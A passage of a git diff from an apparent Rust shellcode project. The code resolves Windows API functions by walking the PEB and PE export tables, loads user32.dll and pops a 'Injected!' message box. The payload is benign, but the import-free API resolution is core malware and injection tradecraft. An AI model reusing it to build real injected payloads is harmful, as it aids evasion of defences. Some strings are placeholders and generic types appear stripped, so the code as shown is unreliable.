"pre-link-arg=/MANIFEST:NO", + "--emit", "asm", + # Post Link Args "-C", "link-arg=/ENTRY:main", + #"-C", "link-arg=/OPT:REF,ICF", "-C", "link-arg=/MERGE:.edata=.rdata", "-C", "link-arg=/MERGE:.rustc=.data", "-C", "link-arg=/MERGE:.rdata=.text", "-C", "link-arg=/MERGE:.pdata=.text", - "-C", "link-arg=/DEBUG:NONE", # disables generation of debug information - "-C", "link-arg=/EMITPOGOPHASEINFO", # generates phase information for profile-guided optimisation - "-C", "target-feature=-mmx,-sse,+soft-float" # disable mmx and sse -] - -[unstable] -build-std = ["core", "alloc"] \ No newline at end of file + #"-C", "link-arg=/INTEGRITYCHECK" + "-C", "link-arg=/DEBUG:NONE", + "-C", "link-arg=/EMITPOGOPHASEINFO", + "-C", "target-feature=-mmx,-sse,+soft-float" +] \ No newline at end of file diff --git a/shellcode/src/main.rs b/shellcode/src/main.rs index f603fb9..64b8078 100644 --- a/shellcode/src/main.rs +++ b/shellcode/src/main.rs @@ -5,9 +5,7 @@ #![allow(non_upper_case_globals)] #![allow(overflowing_literals)] - mod resolver; - -use core::{arch::asm, ffi::c_void, mem::transmute, panic::PanicInfo, ptr::null}; +use core::{arch::asm, ffi::c_void, mem::transmute, panic::PanicInfo, ptr::null_mut}; #[link(name = "vcruntime")] extern {} @@ -20,60 +18,385 @@ fn panic(_info: &PanicInfo) -> ! { loop {} } +pub type BOOLEAN = u8; +pub type HANDLE = *mut c_void; +pub type PVOID = *mut c_void; +pub type ULONG = u32; +pub type LPSTR = *mut i8; +pub type LPCSTR = *const i8; + /// FFI binding for MessageBoxA -type MessageBoxA = extern "system" fn( - handle: *const u8, - lp_text: *const u8, - lp_caption: *const u8, - t: usize, -) -> *const c_void; - -/// FFI for LoadLibraryA -type LoadLibraryA = extern "system" fn( - lib_name: *const u8, -) -> isize; - -/// FFI for -type GetProcAddress = extern "system" fn( - handle: *const usize, - proc_name: *const u8, - ) -> *mut c_void; +pub type LoadLibraryAFn = extern "system" fn(lpFileName: LPCSTR) -> PVOID; +pub type GetProcAddressFn = extern "system" fn(hmodule: PVOID, name: LPCSTR) -> PVOID; +pub type MessageBoxAFn = extern "system" fn(h: PVOID, text: LPCSTR, caption: LPCSTR, t: u32) -> u32; #[no_mangle] pub extern "C" fn main() { + unsafe { + // clean argc and argv + asm!("mov rcx, 0", "mov rdx, 0"); + // asm!("and rsp, ~0xf"); + // asm!("int3"); + } + // stack strings - let kernel_32 = b"KERNEL32.DLL\0"; - let load_library_a = b"LoadLibraryA\0"; - let get_proc_addr = b"GetProcAddress\0"; - let message_box_a = b"MessageBoxA\0"; - let user_32 = b"User32.dll\0"; + let kernel32_dll = "fff.DLL\0"; + let load_library_a = "lllll\0"; - // get virtual addresses - let load_library_a = resolver::get_function_from_exports(kernel_32, load_library_a).unwrap(); - let get_proc_addr = resolver::get_function_from_exports(kernel_32, get_proc_addr).unwrap(); + // get virtual addresses + let load_library_a_result = get_function_from_exports(kernel32_dll, load_library_a); + if load_library_a_result.is_none() { + // Handle error: Function not found + return; + } + let load_library_a = load_library_a_result.unwrap(); - // obtaining User32.dll - let load_library_a: LoadLibraryA = unsafe { transmute(load_library_a.address) }; - let user_32_dll = load_library_a(user_32 as *const u8); - let get_proc_address: GetProcAddress = unsafe { transmute(get_proc_addr.address) }; + let user32_dll = "user32.dll\0"; + let get_proc_address = "GetProcAddress\0"; + let message_box_a = "MessageBoxA\0"; - // get msg box fn - let message_box_address = get_proc_address(user_32_dll as *const usize, message_box_a as *const u8); - let message_box_a:MessageBoxA = unsafe { transmute(message_box_address) }; + let get_proc_addr = get_function_from_exports(kernel32_dll, get_proc_address).unwrap(); // align the stack to divisible by 16 unsafe { asm!("and rsp, ~0xf") }; - let msg = b"Injected!\0"; + // obtaining User32.dll + let load_library_a: LoadLibraryAFn = unsafe { transmute(load_library_a) }; + let user_32_dll = load_library_a(user32_dll.as_ptr() as *const i8); + let get_proc_address: GetProcAddressFn = unsafe { transmute(get_proc_addr) }; + + // get msg box fn + let message_box_address = get_proc_address(user_32_dll, message_box_a.as_ptr() as *const i8); + let message_box_a: MessageBoxAFn = unsafe { transmute(message_box_address) }; - // unsafe { asm!("int3") }; message_box_a( - null(), - msg as *const u8, - msg as *const u8, + null_mut(), + b"Injected!\0".as_ptr() as *const i8, + b"Injected!\0".as_ptr() as *const i8, 0x0, ); + + loop {} } +use core::{ops::Add, str::{from_utf8, from_utf8_mut}}; +/// Get the base address of a specified module. Obtains the base address by reading from the TEB -> PEB -> +/// PEB_LDR_DATA -> InMemoryOrderModuleList -> InMemoryOrderLinks -> DllBase +/// +/// Returns the DLL base address as a Option +#[allow(unused_variables)] +#[allow(unused_assignments)] +fn get_module_base(module_name: &str) -> Option { + + // let module_name: &str = from_utf8(module_name).unwrap(); + + let mut peb: usize; + let mut ldr: usize; + let mut in_memory_order_module_list: usize; + let mut current_entry: usize; + + unsafe { + // get the peb and module list + asm!( + "mov {peb}, gs:[0x60]", + "mov {ldr}, [{peb} + 0x18]", + "mov {in_memory_order_module_list}, [{ldr} + 0x10]", // points to the Flink + peb = out(reg) peb, + ldr = out(reg) ldr, + in_memory_order_module_list = out(reg) in_memory_order_module_list, + ); + + // set the current entry to the head of the list + current_entry = in_memory_order_module_list; + + // iterate the modules searching for + loop { + // get the attributes we are after of the current entry + let dll_base = *(current_entry.add(0x30) as *const usize); + let module_name_address = *(current_entry.add(0x60) as *const usize); + let module_length = *(current_entry.add(0x58) as *const u16); + + // check if the module name address is valid and not zero + if module_name_address != 0 && module_length > 0 { + // read the module name from memory + let mut buffer = [0u8; 512]; + let dll_name = unsafe { + let mut len = 0; + while len < (module_length / 2) as usize && (module_name_address as *const u16).add(len).read() != 0 { + buffer[len] = (module_name_address as *const u16).add(len).read() as u8; + len += 1; + } + from_utf8(&buffer[..len]).unwrap_or("") + }; + + // do we have a match on the module name? + if dll_name.eq_ignore_ascii_case(module_name) { + return Some(dll_base); + } + } else { + return None; + } + + // dereference current_entry which contains the value of the next LDR_DATA_TABLE_ENTRY (specifically a pointer to LIST_ENTRY + // within the next LDR_DATA_TABLE_ENTRY) + current_entry = *(current_entry as *const usize); + + // If we have looped back to the start, break + if current_entry == in_memory_order_module_list { + return None; + } + } + } +} + +/// Get the function address of a function in a specified DLL from the DLL Base. +/// +/// # Parameters +/// * dll_name -> the name of the DLL / module you are wanting to query +/// * needle -> the function name (case sensitive) of the function you are looking for +/// +/// # Returns +/// Option<*const c_void> -> the function address as a pointer +pub fn get_function_from_exports(dll_name: &str, needle: &str) -> Option { + + let dll_name = dll_name.trim_end_matches('\u{0}'); + let needle = needle.trim_end_matches('\u{0}'); + + // let dll_name = strip_null_terminator(dll_name); + // let needle = strip_null_terminator(&needle); + + // let needle = from_utf8(&needle).unwrap(); + + // if the dll_base was already found from a previous search then use that + // otherwise, if it was None, make a call to get_module_base + let dll_base: *mut c_void = match get_module_base(dll_name) { + Some(a) => a as *mut c_void, + None => { + return None; + }, + }; + + // let dll_name = from_utf8(dll_name).unwrap(); + + // check we match the DOS header, cast as pointer to tell the compiler to treat the memory + // address as if it were a IMAGE_DOS_HEADER structure + let dos_header: IMAGE_DOS_HEADER = unsafe { read_memory(dll_base as *const IMAGE_DOS_HEADER) }; + if dos_header.e_magic != IMAGE_DOS_SIGNATURE { + return None; + } + + // check the NT headers + let nt_headers = unsafe { read_memory(dll_base.offset(dos_header.e_lfanew as isize) as *const IMAGE_NT_HEADERS64) }; + if nt_headers.Signature != IMAGE_NT_SIGNATURE { + return None; + } + + // get the export directory + // https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_data_directory + // found from first item in the DataDirectory; then we take the structure in memory at dll_base + RVA + let export_dir_rva = nt_headers.OptionalHeader.DataDirectory[0].VirtualAddress; + let export_offset = unsafe {dll_base.add(export_dir_rva as usize) }; + let export_dir: IMAGE_EXPORT_DIRECTORY = unsafe { read_memory(export_offset as *const IMAGE_EXPORT_DIRECTORY) }; + + // get the addresses we need + let address_of_functions_rva = export_dir.AddressOfFunctions as usize; + let address_of_names_rva = export_dir.AddressOfNames as usize; + let ordinals_rva = export_dir.AddressOfNameOrdinals as usize; + + let functions = unsafe { dll_base.add(address_of_functions_rva as usize) } as *const u32; + let names = unsafe { dll_base.add(address_of_names_rva as usize) } as *const u32; + let ordinals = unsafe { dll_base.add(ordinals_rva as usize) } as *const u16; + + // get the amount of names to iterate over + let number_of_names = export_dir.NumberOfNames; + + for i in 0..number_of_names { + // calculate the RVA of the function name + let name_rva = unsafe { *names.offset(i.try_into().unwrap()) as usize }; + // actual memory address of the function name + let name_addr = unsafe { dll_base.add(name_rva) }; + + // read the function name + let mut function_name = [0u8; 256]; + let mut len = 0; + unsafe { + while len < function_name.len() && (name_addr.add(len) as *const u8).read() != 0 { + function_name[len] = (name_addr.add(len) as *const u8).read(); + len += 1; + } + } + + let function_name = from_utf8(&function_name[..len]).unwrap_or("Invalid UTF-8"); + if function_name.eq("Invalid UTF-8") { + return None; + } + + // if we have a match on our function name + if function_name.eq(needle) { + + // calculate the RVA of the function address + let ordinal = unsafe { *ordinals.offset(i.try_into().unwrap()) as usize }; + let fn_rva = unsafe { *functions.add(ordinal) as usize }; + // actual memory address of the function address + let fn_addr = unsafe { dll_base.add(fn_rva) } as *const c_void; + + return Some(fn_addr as usize); + } + } + + None +} + +/// Read memory of any type +unsafe fn read_memory(address: *const T) -> T { + core::ptr::read(address) +} + +fn wide_to_str<'a>(wide: &[u16], buffer: &'a mut [u8]) -> Option<&'a str> { + let mut len = 0; + + for &w in wide { + // convert each u16 character to u8 and store in the byte array + if w == 0 { break; } // stop at null terminator + if w > 0xFF { + return None; // non-ASCII characters are not handled here + } + if len >= buffer.len() { + return None; // buffer overflow protection + } + buffer[len] = w as u8; + len += 1; + } + + // Convert the byte array to &str + match from_utf8_mut(&mut buffer[..len]) { + Ok(s) => Some(s), + Err(_) => None, + } +} + +fn strip_null_terminator(bytes: &[u8]) -> &[u8] { + if let Some(pos) = bytes.iter().position(|&x| x == 0) { + &bytes[..pos] + } else { + bytes + } +} + +#[repr(C, packed(2))] +pub struct IMAGE_DOS_HEADER { + pub e_magic: u16, + pub e_cblp: u16, + pub e_cp: u16, + pub e_crlc: u16, + pub e_cparhdr: u16, + pub e_minalloc: u16, + pub e_maxalloc: u16, + pub e_ss: u16, + pub e_sp: u16, + pub e_csum: u16, + pub e_ip: u16, + pub e_cs: u16, + pub e_lfarlc: u16, + pub e_ovno: u16, + pub e_res: [u16; 4], + pub e_oemid: u16, + pub e_oeminfo: u16, + pub e_res2: [u16; 10], + pub e_lfanew: i32, +} + +pub const IMAGE_DOS_SIGNATURE: u16 = 23117u16; + +#[repr(C)] +pub struct IMAGE_NT_HEADERS64 { + pub Signature: u32, + pub FileHeader: IMAGE_FILE_HEADER, + pub OptionalHeader: IMAGE_OPTIONAL_HEADER64, +} + +#[repr(C)] +pub struct IMAGE_FILE_HEADER { + pub Machine: IMAGE_FILE_MACHINE, + pub NumberOfSections: u16, + pub TimeDateStamp: u32, + pub PointerToSymbolTable: u32, + pub NumberOfSymbols: u32, + pub SizeOfOptionalHeader: u16, + pub Characteristics: IMAGE_FILE_CHARACTERISTICS, +} + +#[repr(C, packed(4))] +pub struct IMAGE_OPTIONAL_HEADER64 { + + pub Magic: IMAGE_OPTIONAL_HEADER_MAGIC, + pub MajorLinkerVersion: u8, + pub MinorLinkerVersion: u8, + pub SizeOfCode: u32, + pub SizeOfInitializedData: u32, + pub SizeOfUninitializedData: u32, + pub AddressOfEntryPoint: u32, + pub BaseOfCode: u32, + pub ImageBase: u64, + pub SectionAlignment: u32, + pub FileAlignment: u32, + pub MajorOperatingSystemVersion: u16, + pub MinorOperatingSystemVersion: u16, + pub MajorImageVersion: u16, + pub MinorImageVersion: u16, + pub MajorSubsystemVersion: u16, + pub MinorSubsystemVersion: u16, + pub Win32VersionValue: u32, + pub SizeOfImage: u32, + pub SizeOfHeaders: u32, + pub CheckSum: u32, + pub Subsystem: IMAGE_SUBSYSTEM, + pub DllCharacteristics: IMAGE_DLL_CHARACTERISTICS, + pub SizeOfStackReserve: u64, + pub SizeOfStackCommit: u64, + pub SizeOfHeapReserve: u64, + pub SizeOfHeapCommit: u64, + pub LoaderFlags: u32, + pub NumberOfRvaAndSizes: u32, + pub DataDirectory: [IMAGE_DATA_DIRECTORY; 16], +} + +#[repr(transparent)] +pub struct IMAGE_FILE_MACHINE(pub u16); + +#[repr(transparent)] +pub struct IMAGE_FILE_CHARACTERISTICS(pub u16); + +#[repr(transparent)] +pub struct IMAGE_OPTIONAL_HEADER_MAGIC(pub u16); + +#[repr(transparent)] +pub struct IMAGE_SUBSYSTEM(pub u16); + +#[repr(transparent)] +pub struct IMAGE_DLL_CHARACTERISTICS(pub u16); + +#[repr(C)] +pub struct IMAGE_DATA_DIRECTORY { + pub VirtualAddress: u32, + pub Size: u32, +} + +pub const IMAGE_NT_SIGNATURE: u32 = 17744u32; + +#[repr(C)] +pub struct IMAGE_EXPORT_DIRECTORY { + pub Characteristics: u32, + pub TimeDateStamp: u32, + pub MajorVersion: u16, + pub MinorVersion: u16, + pub Name: u32, + pub Base: u32, + pub NumberOfFunctions: u32, + pub NumberOfNames: u32, + pub AddressOfFunctions: u32, + pub AddressOfNames: u32, + pub AddressOfNameOrdinals: u32, +} \ No newline at end of file diff --git a/shellcode/src/resolver.rs b/shellcode/src/resolver.rs index 46ed497..d549549 100644 --- a/shellcode/src/resolver.rs +++ b/shellcode/src/resolver.rs @@ -2,7 +2,7 @@ #![allow(non_camel_case_types)] #![allow(dead_code)] -use core::{arch::asm, ffi::c_void, ops::Add, slice::from_raw_parts, str::{from_utf8, from_utf8_mut}}; +use core::{arch::asm, ffi::c_void, ops::Add, str::{from_utf8, from_utf8_mut}}; /// A structure containing the module name, function name, and export address for each function loaded /// into the portable executable on x64 systems only. @@ -48,19 +48,24 @@ fn get_module_base(module_name: &[u8]) -> Option { let dll_base = *(current_entry.add(0x30) as *const usize); let module_name_address = *(current_entry.add(0x60) as *const usize); let module_length = *(current_entry.add(0x58) as *const u16); - + // check if the module name address is valid and not zero if module_name_address != 0 && module_length > 0 { // read the module name from memory - let dll_name_slice = from_raw_parts(module_name_address as *const u16, (module_length / 2) as usize); let mut buffer = [0u8; 512]; - if let Some(dll_name) = wide_to_str(dll_name_slice, &mut buffer) { - // do we have a match on the module name? - if dll_name.eq_ignore_ascii_case(module_name) { - return Some(dll_base); + let dll_name = unsafe { + let mut len = 0; + while len < (module_length / 2) as usize && (module_name_address as *const u16).add(len).read() != 0 { + buffer[len] = (module_name_address as *const u16).add(len).read() as u8; + len += 1; } - } + from_utf8(&buffer[..len]).unwrap_or("") + }; + // do we have a match on the module name? + if dll_name.eq_ignore_ascii_case(module_name) { + return Some(dll_base); + } } else { return None; } @@ -142,18 +147,16 @@ pub fn get_function_from_exports<'a>(dll_name: &'a [u8], needle: &'a [u8]) -> Op let name_addr = unsafe { dll_base.add(name_rva) }; // read the function name - let function_name = unsafe { - let char = name_addr as *const u8; - let mut len = 0; - // iterate over the memory until a null terminator is found - while *char.add(len) != 0 { + let mut function_name = [0u8; 256]; + let mut len = 0; + unsafe { + while len < function_name.len() && (name_addr.add(len) as *const u8).read() != 0 { + function_name[len] = (name_addr.add(len) as *const u8).read(); len += 1; } + } - from_raw_parts(char, len) - }; - - let function_name = from_utf8(function_name).unwrap_or("Invalid UTF-8"); + let function_name = from_utf8(&function_name[..len]).unwrap_or("Invalid UTF-8"); if function_name.eq("Invalid UTF-8") { return None; }